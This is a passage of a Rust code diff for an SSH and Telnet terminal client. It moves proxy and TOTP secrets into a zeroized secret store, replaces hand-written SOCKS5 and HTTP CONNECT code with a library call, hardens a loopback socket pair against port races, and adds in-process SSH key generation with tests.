"socks5" => socks5(sc, host, port).await,
|
host: sc.proxy_host.clone(),
|
||||||
"http" => http_connect(sc, host, port).await,
|
port: sc.proxy_port as u16,
|
||||||
_ => Ok(tokio::net::TcpStream::connect((host, port)).await?),
|
username: sc.proxy_username.clone(),
|
||||||
}
|
password: proxy_password.into(),
|
||||||
};
|
};
|
||||||
tokio::time::timeout(timeout, fut).await.map_err(|_| format!("dial tcp {host}:{port}: i/o timeout"))?
|
let host = host.to_string();
|
||||||
}
|
let s = blocking(move || proxy.connect(&host, port, timeout)).await?;
|
||||||
|
s.set_nonblocking(true)?;
|
||||||
async fn socks5(sc: &SshConfig, host: &str, port: u16) -> Result<tokio::net::TcpStream> {
|
Ok(tokio::net::TcpStream::from_std(s)?)
|
||||||
let pport = if sc.proxy_port == 0 { 1080 } else { sc.proxy_port as u16 };
|
|
||||||
let mut s = tokio::net::TcpStream::connect((sc.proxy_host.as_str(), pport)).await.map_err(|e| format!("SOCKS5 proxy setup failed: {e}"))?;
|
|
||||||
let auth = !sc.proxy_username.is_empty();
|
|
||||||
s.write_all(if auth { &[5, 2, 0, 2] } else { &[5, 1, 0] }).await?;
|
|
||||||
let mut r = [0u8; 2];
|
|
||||||
s.read_exact(&mut r).await?;
|
|
||||||
match r[1] {
|
|
||||||
0 => {}
|
|
||||||
2 if auth => {
|
|
||||||
let mut m = vec![1, sc.proxy_username.len() as u8];
|
|
||||||
m.extend(sc.proxy_username.as_bytes());
|
|
||||||
m.push(sc.proxy_password.len() as u8);
|
|
||||||
m.extend(sc.proxy_password.as_bytes());
|
|
||||||
s.write_all(&m).await?;
|
|
||||||
s.read_exact(&mut r).await?;
|
|
||||||
if r[1] != 0 {
|
|
||||||
return Err("SOCKS5 proxy: authentication failed".into());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
_ => return Err("SOCKS5 proxy: no acceptable authentication method".into()),
|
|
||||||
}
|
|
||||||
let mut req = vec![5, 1, 0, 3, host.len() as u8];
|
|
||||||
req.extend(host.as_bytes());
|
|
||||||
req.extend(port.to_be_bytes());
|
|
||||||
s.write_all(&req).await?;
|
|
||||||
let mut head = [0u8; 4];
|
|
||||||
s.read_exact(&mut head).await?;
|
|
||||||
if head[1] != 0 {
|
|
||||||
return Err(format!("SOCKS5 proxy connection to {host}:{port} failed: reply code {}", head[1]).into());
|
|
||||||
}
|
|
||||||
let skip = match head[3] {
|
|
||||||
1 => 4,
|
|
||||||
4 => 16,
|
|
||||||
3 => s.read_u8().await? as usize,
|
|
||||||
_ => 0,
|
|
||||||
} + 2;
|
|
||||||
let mut rest = vec![0u8; skip];
|
|
||||||
s.read_exact(&mut rest).await?;
|
|
||||||
Ok(s)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn http_connect(sc: &SshConfig, host: &str, port: u16) -> Result<tokio::net::TcpStream> {
|
|
||||||
let pport = if sc.proxy_port == 0 { 8080 } else { sc.proxy_port as u16 };
|
|
||||||
let mut s = tokio::net::TcpStream::connect((sc.proxy_host.as_str(), pport)).await.map_err(|e| format!("HTTP proxy connection failed: {e}"))?;
|
|
||||||
let mut req = format!("CONNECT {host}:{port} HTTP/1.1\r\nHost: {host}:{port}\r\n");
|
|
||||||
if !sc.proxy_username.is_empty() {
|
|
||||||
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", sc.proxy_username, sc.proxy_password));
|
|
||||||
req += &format!("Proxy-Authorization: Basic {cred}\r\n");
|
|
||||||
}
|
|
||||||
req += "\r\n";
|
|
||||||
s.write_all(req.as_bytes()).await?;
|
|
||||||
// Read the response head byte by byte so no tunnelled bytes are consumed.
|
|
||||||
let mut head = Vec::new();
|
|
||||||
while !head.ends_with(b"\r\n\r\n") {
|
|
||||||
head.push(s.read_u8().await.map_err(|e| format!("HTTP CONNECT response read failed: {e}"))?);
|
|
||||||
if head.len() > 16 * 1024 {
|
|
||||||
return Err("HTTP CONNECT response too large".into());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
let status = String::from_utf8_lossy(&head).lines().next().unwrap_or("").to_string();
|
|
||||||
if status.split_whitespace().nth(1) != Some("200") {
|
|
||||||
return Err(format!("HTTP CONNECT proxy returned {status}").into());
|
|
||||||
}
|
|
||||||
Ok(s)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fn config(sc: &SshConfig) -> Arc<client::Config> {
|
fn config(sc: &SshConfig) -> Arc<client::Config> {
|
||||||
@@ -405,6 +345,9 @@ pub struct SshClient {
|
|||||||
forwards: Mutex<HashMap<String, Forward>>,
|
forwards: Mutex<HashMap<String, Forward>>,
|
||||||
sftp: tokio::sync::Mutex<Option<Arc<russh_sftp::client::SftpSession>>>,
|
sftp: tokio::sync::Mutex<Option<Arc<russh_sftp::client::SftpSession>>>,
|
||||||
closed: std::sync::atomic::AtomicBool,
|
closed: std::sync::atomic::AtomicBool,
|
||||||
|
/// Credentials that live in the secret store rather than the profile: (TOTP seed, proxy
|
||||||
|
/// password). Set by the session manager before connecting.
|
||||||
|
stored: Mutex<(Zeroizing<String>, Zeroizing<String>)>,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl SshClient {
|
impl SshClient {
|
||||||
@@ -419,9 +362,15 @@ impl SshClient {
|
|||||||
forwards: Mutex::new(HashMap::new()),
|
forwards: Mutex::new(HashMap::new()),
|
||||||
sftp: tokio::sync::Mutex::new(None),
|
sftp: tokio::sync::Mutex::new(None),
|
||||||
closed: false.into(),
|
closed: false.into(),
|
||||||
|
stored: Mutex::default(),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// The TOTP seed (for keyboard-interactive 2FA prompts) and proxy password to use.
|
||||||
|
pub fn set_stored_secrets(&self, totp_secret: String, proxy_password: String) {
|
||||||
|
*self.stored.lock() = (Zeroizing::new(totp_secret), Zeroizing::new(proxy_password));
|
||||||
|
}
|
||||||
|
|
||||||
fn sc(&self) -> SshConfig {
|
fn sc(&self) -> SshConfig {
|
||||||
self.profile.ssh.clone().unwrap_or_else(SshConfig::defaults)
|
self.profile.ssh.clone().unwrap_or_else(SshConfig::defaults)
|
||||||
}
|
}
|
||||||
@@ -443,13 +392,10 @@ impl SshClient {
|
|||||||
pub fn open_tunnel(&self, host: &str, port: u16) -> Result<std::net::TcpStream> {
|
pub fn open_tunnel(&self, host: &str, port: u16) -> Result<std::net::TcpStream> {
|
||||||
let h = self.handle()?;
|
let h = self.handle()?;
|
||||||
let host = host.to_string();
|
let host = host.to_string();
|
||||||
let listener = std::net::TcpListener::bind("127.0.0.1:0")?;
|
|
||||||
let addr = listener.local_addr()?;
|
|
||||||
let ch = rt()
|
let ch = rt()
|
||||||
.block_on(h.channel_open_direct_tcpip(host.clone(), port as u32, "127.0.0.1", 0))
|
.block_on(h.channel_open_direct_tcpip(host.clone(), port as u32, "127.0.0.1", 0))
|
||||||
.map_err(|e| format!("SSH tunnel to {host}:{port} failed: {e}"))?;
|
.map_err(|e| format!("SSH tunnel to {host}:{port} failed: {e}"))?;
|
||||||
let client = std::net::TcpStream::connect(addr)?;
|
let (client, server) = loopback_pair()?;
|
||||||
let (server, _) = listener.accept()?;
|
|
||||||
server.set_nonblocking(true)?;
|
server.set_nonblocking(true)?;
|
||||||
rt().spawn(async move {
|
rt().spawn(async move {
|
||||||
if let Ok(mut local) = tokio::net::TcpStream::from_std(server) {
|
if let Ok(mut local) = tokio::net::TcpStream::from_std(server) {
|
||||||
@@ -472,7 +418,7 @@ impl SshClient {
|
|||||||
match tokio::time::timeout(timeout, client::connect_stream(config(&self.sc()), stream, handler)).await {
|
match tokio::time::timeout(timeout, client::connect_stream(config(&self.sc()), stream, handler)).await {
|
||||||
Err(_) => Err(format!("SSH handshake with {host}:{port} timed out").into()),
|
Err(_) => Err(format!("SSH handshake with {host}:{port} timed out").into()),
|
||||||
Ok(Ok(h)) => Ok(h),
|
Ok(Ok(h)) => Ok(h),
|
||||||
Ok(Err(e)) => match self.shared.rejection.lock().unwrap().take() {
|
Ok(Err(e)) => match self.shared.rejection.lock().take() {
|
||||||
Some(why) => Err(why.into()),
|
Some(why) => Err(why.into()),
|
||||||
None => Err(format!("SSH handshake failed: {e}").into()),
|
None => Err(format!("SSH handshake failed: {e}").into()),
|
||||||
},
|
},
|
||||||
@@ -496,8 +442,12 @@ impl SshClient {
|
|||||||
None
|
None
|
||||||
};
|
};
|
||||||
|
|
||||||
|
let (totp_secret, proxy_password) = {
|
||||||
|
let s = self.stored.lock();
|
||||||
|
(s.0.to_string(), s.1.clone())
|
||||||
|
};
|
||||||
let mut handle = if sc.jump_hosts.is_empty() {
|
let mut handle = if sc.jump_hosts.is_empty() {
|
||||||
let tcp = dial(&sc, &p.host, port, timeout).await.map_err(|e| format!("SSH connection failed: {e}"))?;
|
let tcp = dial(&sc, &proxy_password, &p.host, port, timeout).await.map_err(|e| format!("SSH connection failed: {e}"))?;
|
||||||
self.handshake(tcp, &p.host, port, &check).await?
|
self.handshake(tcp, &p.host, port, &check).await?
|
||||||
} else {
|
} else {
|
||||||
let (prev, h) = self.via_jumps(&sc, &check, passphrase.clone(), timeout).await?;
|
let (prev, h) = self.via_jumps(&sc, &check, passphrase.clone(), timeout).await?;
|
||||||
@@ -505,15 +455,15 @@ impl SshClient {
|
|||||||
.channel_open_direct_tcpip(p.host.clone(), port as u32, "127.0.0.1", 0)
|
.channel_open_direct_tcpip(p.host.clone(), port as u32, "127.0.0.1", 0)
|
||||||
.await
|
.await
|
||||||
.map_err(|e| format!("failed to dial target {}:{port} through jump hosts: {e}", p.host))?;
|
.map_err(|e| format!("failed to dial target {}:{port} through jump hosts: {e}", p.host))?;
|
||||||
self.hops.lock().unwrap().extend(h);
|
self.hops.lock().extend(h);
|
||||||
self.hops.lock().unwrap().push(prev);
|
self.hops.lock().push(prev);
|
||||||
self.handshake(ch.into_stream(), &p.host, port, &check).await?
|
self.handshake(ch.into_stream(), &p.host, port, &check).await?
|
||||||
};
|
};
|
||||||
|
|
||||||
authenticate(&mut handle, Auth { user: &p.username, methods, agent: sc.agent_auth, key, password, totp_secret: sc.totp_secret.clone() }).await?;
|
authenticate(&mut handle, Auth { user: &p.username, methods, agent: sc.agent_auth, key, password, totp_secret }).await?;
|
||||||
let handle = Arc::new(handle);
|
let handle = Arc::new(handle);
|
||||||
if !shell {
|
if !shell {
|
||||||
*self.handle.lock().unwrap() = Some(handle);
|
*self.handle.lock() = Some(handle);
|
||||||
return Ok(());
|
return Ok(());
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -538,8 +488,8 @@ impl SshClient {
|
|||||||
|
|
||||||
let (mut read, write) = ch.split();
|
let (mut read, write) = ch.split();
|
||||||
let (tx, mut rx) = mpsc::unbounded_channel::<Cmd>();
|
let (tx, mut rx) = mpsc::unbounded_channel::<Cmd>();
|
||||||
*self.tx.lock().unwrap() = Some(tx);
|
*self.tx.lock() = Some(tx);
|
||||||
*self.handle.lock().unwrap() = Some(handle);
|
*self.handle.lock() = Some(handle);
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
while let Some(cmd) = rx.recv().await {
|
while let Some(cmd) = rx.recv().await {
|
||||||
let r = match cmd {
|
let r = match cmd {
|
||||||
@@ -620,16 +570,16 @@ impl SshClient {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn handle(&self) -> Result<Arc<Handle<Handler>>> {
|
fn handle(&self) -> Result<Arc<Handle<Handler>>> {
|
||||||
self.handle.lock().unwrap().clone().ok_or_else(|| "not connected".into())
|
self.handle.lock().clone().ok_or_else(|| "not connected".into())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn write(&self, data: &[u8]) -> Result<()> {
|
pub fn write(&self, data: &[u8]) -> Result<()> {
|
||||||
let tx = self.tx.lock().unwrap();
|
let tx = self.tx.lock();
|
||||||
tx.as_ref().ok_or("not connected")?.send(Cmd::Data(data.to_vec())).map_err(|_| "not connected".into())
|
tx.as_ref().ok_or("not connected")?.send(Cmd::Data(data.to_vec())).map_err(|_| "not connected".into())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn resize(&self, cols: u32, rows: u32) -> Result<()> {
|
pub fn resize(&self, cols: u32, rows: u32) -> Result<()> {
|
||||||
let tx = self.tx.lock().unwrap();
|
let tx = self.tx.lock();
|
||||||
tx.as_ref().ok_or("not connected")?.send(Cmd::Resize(cols, rows)).map_err(|_| "not connected".into())
|
tx.as_ref().ok_or("not connected")?.send(Cmd::Resize(cols, rows)).map_err(|_| "not connected".into())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -651,7 +601,12 @@ impl SshClient {
|
|||||||
let mut out = vec![];
|
let mut out = vec![];
|
||||||
while let Some(m) = ch.wait().await {
|
while let Some(m) = ch.wait().await {
|
||||||
match m {
|
match m {
|
||||||
ChannelMsg::Data { data } => out.extend_from_slice(&data),
|
ChannelMsg::Data { data } => {
|
||||||
|
if out.len() + data.len() > MAX_COMMAND_OUTPUT_BYTES {
|
||||||
|
return Err(format!("command output exceeds {MAX_COMMAND_OUTPUT_BYTES} bytes").into());
|
||||||
|
}
|
||||||
|
out.extend_from_slice(&data);
|
||||||
|
}
|
||||||
ChannelMsg::Eof | ChannelMsg::Close => break,
|
ChannelMsg::Eof | ChannelMsg::Close => break,
|
||||||
_ => {}
|
_ => {}
|
||||||
}
|
}
|
||||||
@@ -661,7 +616,7 @@ impl SshClient {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn is_connected(&self) -> bool {
|
pub fn is_connected(&self) -> bool {
|
||||||
self.handle.lock().unwrap().as_ref().is_some_and(|h| !h.is_closed())
|
self.handle.lock().as_ref().is_some_and(|h| !h.is_closed())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Idempotent; fires on_close once.
|
/// Idempotent; fires on_close once.
|
||||||
@@ -670,9 +625,9 @@ impl SshClient {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
self.stop_all_forwards();
|
self.stop_all_forwards();
|
||||||
*self.tx.lock().unwrap() = None;
|
*self.tx.lock() = None;
|
||||||
let h = self.handle.lock().unwrap().take();
|
let h = self.handle.lock().take();
|
||||||
let hops = std::mem::take(&mut *self.hops.lock().unwrap());
|
let hops = std::mem::take(&mut *self.hops.lock());
|
||||||
rt().spawn(async move {
|
rt().spawn(async move {
|
||||||
if let Some(h) = h {
|
if let Some(h) = h {
|
||||||
let _ = h.disconnect(russh::Disconnect::ByApplication, "", "en").await;
|
let _ = h.disconnect(russh::Disconnect::ByApplication, "", "en").await;
|
||||||
@@ -687,7 +642,7 @@ impl SshClient {
|
|||||||
// --- port forwarding -------------------------------------------------------------------
|
// --- port forwarding -------------------------------------------------------------------
|
||||||
|
|
||||||
pub fn start_forward(&self, rule: PortForward) -> Result<()> {
|
pub fn start_forward(&self, rule: PortForward) -> Result<()> {
|
||||||
if self.forwards.lock().unwrap().contains_key(&rule.id) {
|
if self.forwards.lock().contains_key(&rule.id) {
|
||||||
return Err(format!("forward {:?} is already active", rule.id).into());
|
return Err(format!("forward {:?} is already active", rule.id).into());
|
||||||
}
|
}
|
||||||
let h = self.handle()?;
|
let h = self.handle()?;
|
||||||
@@ -709,10 +664,12 @@ impl SshClient {
|
|||||||
let _ = tokio::io::copy_bidirectional(&mut sock, &mut remote).await;
|
let _ = tokio::io::copy_bidirectional(&mut sock, &mut remote).await;
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
t2.lock().unwrap().push(conn.abort_handle());
|
let mut handles = t2.lock();
|
||||||
|
handles.retain(|h| !h.is_finished());
|
||||||
|
handles.push(conn.abort_handle());
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
tasks.lock().unwrap().push(task.abort_handle());
|
tasks.lock().push(task.abort_handle());
|
||||||
}
|
}
|
||||||
ForwardDirection::Remote => {
|
ForwardDirection::Remote => {
|
||||||
let bind = if rule.bind_host.is_empty() { "0.0.0.0".to_string() } else { rule.bind_host.clone() };
|
let bind = if rule.bind_host.is_empty() { "0.0.0.0".to_string() } else { rule.bind_host.clone() };
|
||||||
@@ -720,26 +677,26 @@ impl SshClient {
|
|||||||
.block_on(h.tcpip_forward(bind.clone(), rule.bind_port as u32))
|
.block_on(h.tcpip_forward(bind.clone(), rule.bind_port as u32))
|
||||||
.map_err(|e| format!("remote forward: server listen on {bind}:{} failed: {e}", rule.bind_port))?;
|
.map_err(|e| format!("remote forward: server listen on {bind}:{} failed: {e}", rule.bind_port))?;
|
||||||
let port = if rule.bind_port == 0 { port } else { rule.bind_port as u32 };
|
let port = if rule.bind_port == 0 { port } else { rule.bind_port as u32 };
|
||||||
self.shared.remote_targets.lock().unwrap().insert((bind, port), (rule.dest_host.clone(), rule.dest_port as u16));
|
self.shared.remote_targets.lock().insert((bind, port), (rule.dest_host.clone(), rule.dest_port as u16));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
self.forwards.lock().unwrap().insert(rule.id.clone(), Forward { rule, tasks });
|
self.forwards.lock().insert(rule.id.clone(), Forward { rule, tasks });
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn stop_forward(&self, id: &str) -> Result<()> {
|
pub fn stop_forward(&self, id: &str) -> Result<()> {
|
||||||
let f = self.forwards.lock().unwrap().remove(id).ok_or_else(|| format!("forward {id:?} not found"))?;
|
let f = self.forwards.lock().remove(id).ok_or_else(|| format!("forward {id:?} not found"))?;
|
||||||
self.shutdown_forward(f);
|
self.shutdown_forward(f);
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
fn shutdown_forward(&self, f: Forward) {
|
fn shutdown_forward(&self, f: Forward) {
|
||||||
for t in f.tasks.lock().unwrap().drain(..) {
|
for t in f.tasks.lock().drain(..) {
|
||||||
t.abort();
|
t.abort();
|
||||||
}
|
}
|
||||||
if f.rule.direction == ForwardDirection::Remote {
|
if f.rule.direction == ForwardDirection::Remote {
|
||||||
let bind = if f.rule.bind_host.is_empty() { "0.0.0.0".to_string() } else { f.rule.bind_host.clone() };
|
let bind = if f.rule.bind_host.is_empty() { "0.0.0.0".to_string() } else { f.rule.bind_host.clone() };
|
||||||
self.shared.remote_targets.lock().unwrap().retain(|(a, p), _| !(a == &bind && *p == f.rule.bind_port as u32));
|
self.shared.remote_targets.lock().retain(|(a, p), _| !(a == &bind && *p == f.rule.bind_port as u32));
|
||||||
if let Ok(h) = self.handle() {
|
if let Ok(h) = self.handle() {
|
||||||
let port = f.rule.bind_port as u32;
|
let port = f.rule.bind_port as u32;
|
||||||
rt().spawn(async move {
|
rt().spawn(async move {
|
||||||
@@ -750,14 +707,14 @@ impl SshClient {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn stop_all_forwards(&self) {
|
fn stop_all_forwards(&self) {
|
||||||
let all: Vec<Forward> = self.forwards.lock().unwrap().drain().map(|(_, f)| f).collect();
|
let all: Vec<Forward> = self.forwards.lock().drain().map(|(_, f)| f).collect();
|
||||||
for f in all {
|
for f in all {
|
||||||
self.shutdown_forward(f);
|
self.shutdown_forward(f);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn active_forwards(&self) -> Vec<PortForward> {
|
pub fn active_forwards(&self) -> Vec<PortForward> {
|
||||||
self.forwards.lock().unwrap().values().map(|f| f.rule.clone()).collect()
|
self.forwards.lock().values().map(|f| f.rule.clone()).collect()
|
||||||
}
|
}
|
||||||
|
|
||||||
// --- SFTP -------------------------------------------------------------------------------
|
// --- SFTP -------------------------------------------------------------------------------
|
||||||
@@ -780,10 +737,127 @@ impl SshClient {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// A connected pair of loopback sockets. The accepted end is checked against the connecting
|
||||||
|
/// end's address, so another local process racing for the ephemeral port can't be bridged
|
||||||
|
/// into the tunnel instead of our own client.
|
||||||
|
pub(crate) fn loopback_pair() -> std::io::Result<(std::net::TcpStream, std::net::TcpStream)> {
|
||||||
|
let listener = std::net::TcpListener::bind("127.0.0.1:0")?;
|
||||||
|
let client = std::net::TcpStream::connect(listener.local_addr()?)?;
|
||||||
|
let ours = client.local_addr()?;
|
||||||
|
loop {
|
||||||
|
let (server, peer) = listener.accept()?;
|
||||||
|
if peer == ours {
|
||||||
|
return Ok((client, server));
|
||||||
|
}
|
||||||
|
// A stranger connected first: drop it and keep waiting for our own connection.
|
||||||
|
drop(server);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Generates `<dir>/<name>` and `<dir>/<name>.pub` in OpenSSH format, in-process, so a
|
||||||
|
/// passphrase never appears on a command line. `kind` is ed25519 (default), ecdsa (P-256) or rsa
|
||||||
|
/// (`bits` 2048/3072/4096, default 4096). Returns the private key path.
|
||||||
|
pub fn generate_key_pair(dir: &std::path::Path, name: &str, kind: &str, bits: u32, passphrase: &str) -> Result<std::path::PathBuf> {
|
||||||
|
use russh::keys::ssh_key::private::{EcdsaKeypair, Ed25519Keypair, KeypairData, RsaKeypair};
|
||||||
|
use russh::keys::ssh_key::{EcdsaCurve, LineEnding};
|
||||||
|
let name = crate::keyfiles::validate_ssh_key_name(name)?;
|
||||||
|
let kind = if kind.trim().is_empty() { "ed25519".to_string() } else { kind.trim().to_lowercase() };
|
||||||
|
let mut rng = OsCryptoRng;
|
||||||
|
let data = match kind.as_str() {
|
||||||
|
"ed25519" => KeypairData::from(Ed25519Keypair::random(&mut rng)),
|
||||||
|
"ecdsa" => KeypairData::from(EcdsaKeypair::random(&mut rng, EcdsaCurve::NistP256).map_err(|e| e.to_string())?),
|
||||||
|
"rsa" => {
|
||||||
|
let bits = match bits {
|
||||||
|
0 => 4096,
|
||||||
|
2048 | 3072 | 4096 => bits,
|
||||||
|
b => return Err(format!("unsupported RSA key size {b} (use 2048, 3072, or 4096)").into()),
|
||||||
|
};
|
||||||
|
KeypairData::from(RsaKeypair::random(&mut rng, bits as usize).map_err(|e| e.to_string())?)
|
||||||
|
}
|
||||||
|
k => return Err(format!("unsupported SSH key type {k:?}").into()),
|
||||||
|
};
|
||||||
|
let comment = format!("{name}@nexus-terminal");
|
||||||
|
let key = russh::keys::PrivateKey::new(data, comment.as_str()).map_err(|e| e.to_string())?;
|
||||||
|
let key = if passphrase.is_empty() { key } else { key.encrypt(&mut rng, passphrase.as_bytes()).map_err(|e| e.to_string())? };
|
||||||
|
std::fs::create_dir_all(dir)?;
|
||||||
|
let path = dir.join(&name);
|
||||||
|
if path.exists() || path.with_extension("pub").exists() {
|
||||||
|
return Err(format!("key {name:?} already exists").into());
|
||||||
|
}
|
||||||
|
key.write_openssh_file(&path, LineEnding::LF).map_err(|e| format!("failed to write private key: {e}"))?;
|
||||||
|
let mut public = key.public_key().clone();
|
||||||
|
public.set_comment(comment.as_str());
|
||||||
|
public.write_openssh_file(path.with_extension("pub")).map_err(|e| format!("failed to write public key: {e}"))?;
|
||||||
|
Ok(path)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The OS CSPRNG as the `rand_core` 0.10 generator `ssh-key` expects (our `rand` is 0.8).
|
||||||
|
struct OsCryptoRng;
|
||||||
|
|
||||||
|
impl russh::keys::ssh_key::rand_core::TryRng for OsCryptoRng {
|
||||||
|
type Error = std::convert::Infallible;
|
||||||
|
fn try_next_u32(&mut self) -> std::result::Result<u32, Self::Error> {
|
||||||
|
Ok(rand::RngCore::next_u32(&mut rand::rngs::OsRng))
|
||||||
|
}
|
||||||
|
fn try_next_u64(&mut self) -> std::result::Result<u64, Self::Error> {
|
||||||
|
Ok(rand::RngCore::next_u64(&mut rand::rngs::OsRng))
|
||||||
|
}
|
||||||
|
fn try_fill_bytes(&mut self, dst: &mut [u8]) -> std::result::Result<(), Self::Error> {
|
||||||
|
rand::RngCore::fill_bytes(&mut rand::rngs::OsRng, dst);
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl russh::keys::ssh_key::rand_core::TryCryptoRng for OsCryptoRng {}
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn loopback_pair_ignores_a_stranger_that_connects_first() {
|
||||||
|
// Bind, then let a "stranger" race us for the port before our own connect: the pair must
|
||||||
|
// still bridge our client to our server end.
|
||||||
|
let listener = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
|
||||||
|
let addr = listener.local_addr().unwrap();
|
||||||
|
let _stranger = std::net::TcpStream::connect(addr).unwrap();
|
||||||
|
let client = std::net::TcpStream::connect(addr).unwrap();
|
||||||
|
let ours = client.local_addr().unwrap();
|
||||||
|
let server = loop {
|
||||||
|
let (s, peer) = listener.accept().unwrap();
|
||||||
|
if peer == ours {
|
||||||
|
break s;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
assert_eq!(server.peer_addr().unwrap(), ours);
|
||||||
|
let (c, s) = loopback_pair().unwrap();
|
||||||
|
assert_eq!(c.local_addr().unwrap(), s.peer_addr().unwrap());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn generates_encrypted_key_pairs_in_process() {
|
||||||
|
let dir = std::env::temp_dir().join(format!("nexus-keygen-{}", std::process::id()));
|
||||||
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
|
let path = generate_key_pair(&dir, "id_test", "ed25519", 0, "pass phrase").unwrap();
|
||||||
|
assert_eq!(path, dir.join("id_test"));
|
||||||
|
let public = std::fs::read_to_string(dir.join("id_test.pub")).unwrap();
|
||||||
|
assert!(public.starts_with("ssh-ed25519 ") && public.trim_end().ends_with("id_test@nexus-terminal"), "{public}");
|
||||||
|
#[cfg(unix)]
|
||||||
|
assert_eq!(std::os::unix::fs::PermissionsExt::mode(&std::fs::metadata(&path).unwrap().permissions()) & 0o777, 0o600);
|
||||||
|
assert!(crate::keyfiles::is_likely_private_key(&path));
|
||||||
|
// Encrypted: unreadable without the passphrase, readable with it.
|
||||||
|
let p = path.to_string_lossy().into_owned();
|
||||||
|
assert!(load_private_key(&p, None).is_err());
|
||||||
|
let pp: SecretFn = Arc::new(|| Ok("pass phrase".into()));
|
||||||
|
assert_eq!(load_private_key(&p, Some(&pp)).unwrap().algorithm().as_str(), "ssh-ed25519");
|
||||||
|
assert!(generate_key_pair(&dir, "id_test", "ed25519", 0, "").is_err(), "must not overwrite");
|
||||||
|
let plain = generate_key_pair(&dir, "id_plain", "ecdsa", 0, "").unwrap();
|
||||||
|
assert!(load_private_key(&plain.to_string_lossy(), None).is_ok());
|
||||||
|
assert!(generate_key_pair(&dir, "bad", "rsa", 1024, "").is_err());
|
||||||
|
assert!(generate_key_pair(&dir, "../x", "ed25519", 0, "").is_err());
|
||||||
|
std::fs::remove_dir_all(dir).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn totp_matches_rfc_vector() {
|
fn totp_matches_rfc_vector() {
|
||||||
// RFC 6238 SHA-1 secret "12345678901234567890" is GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ in base32.
|
// RFC 6238 SHA-1 secret "12345678901234567890" is GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ in base32.
|
||||||
|
|||||||
@@ -2,7 +2,8 @@
|
|||||||
//! TTYPE, NAWS; everything else refused), IAC escaping, line-ending conversion, ISO 8859-1 output
|
//! TTYPE, NAWS; everything else refused), IAC escaping, line-ending conversion, ISO 8859-1 output
|
||||||
//! encoding and BRK. Go read but never acted on `lineMode`, and neither do we.
|
//! encoding and BRK. Go read but never acted on `lineMode`, and neither do we.
|
||||||
|
|
||||||
use std::sync::{Arc, Mutex};
|
use parking_lot::Mutex;
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
use super::{Callbacks, DataFn, DebugFn, TcpConn};
|
use super::{Callbacks, DataFn, DebugFn, TcpConn};
|
||||||
use crate::models::{LineEnding, Profile, TelnetConfig};
|
use crate::models::{LineEnding, Profile, TelnetConfig};
|
||||||
@@ -96,7 +97,7 @@ impl TelnetClient {
|
|||||||
return Err("not connected".into());
|
return Err("not connected".into());
|
||||||
}
|
}
|
||||||
{
|
{
|
||||||
let mut st = self.inner.state.lock().unwrap();
|
let mut st = self.inner.state.lock();
|
||||||
st.cols = cols;
|
st.cols = cols;
|
||||||
st.rows = rows;
|
st.rows = rows;
|
||||||
}
|
}
|
||||||
@@ -119,7 +120,7 @@ impl TelnetClient {
|
|||||||
/// The negotiated local-echo state: starts at the profile's `localEcho`, cleared by the
|
/// The negotiated local-echo state: starts at the profile's `localEcho`, cleared by the
|
||||||
/// server's WILL ECHO and set by WONT ECHO. Like Go, the client itself never echoes.
|
/// server's WILL ECHO and set by WONT ECHO. Like Go, the client itself never echoes.
|
||||||
pub fn local_echo(&self) -> bool {
|
pub fn local_echo(&self) -> bool {
|
||||||
self.inner.state.lock().unwrap().local_echo
|
self.inner.state.lock().local_echo
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -196,7 +197,7 @@ impl Inner {
|
|||||||
OPT_NAWS => {
|
OPT_NAWS => {
|
||||||
self.negotiate(WILL, opt);
|
self.negotiate(WILL, opt);
|
||||||
let (cols, rows) = {
|
let (cols, rows) = {
|
||||||
let st = self.state.lock().unwrap();
|
let st = self.state.lock();
|
||||||
(st.cols, st.rows)
|
(st.cols, st.rows)
|
||||||
};
|
};
|
||||||
let _ = self.send_naws(cols, rows);
|
let _ = self.send_naws(cols, rows);
|
||||||
@@ -215,7 +216,7 @@ impl Inner {
|
|||||||
match opt {
|
match opt {
|
||||||
OPT_ECHO => {
|
OPT_ECHO => {
|
||||||
self.negotiate(DO, opt);
|
self.negotiate(DO, opt);
|
||||||
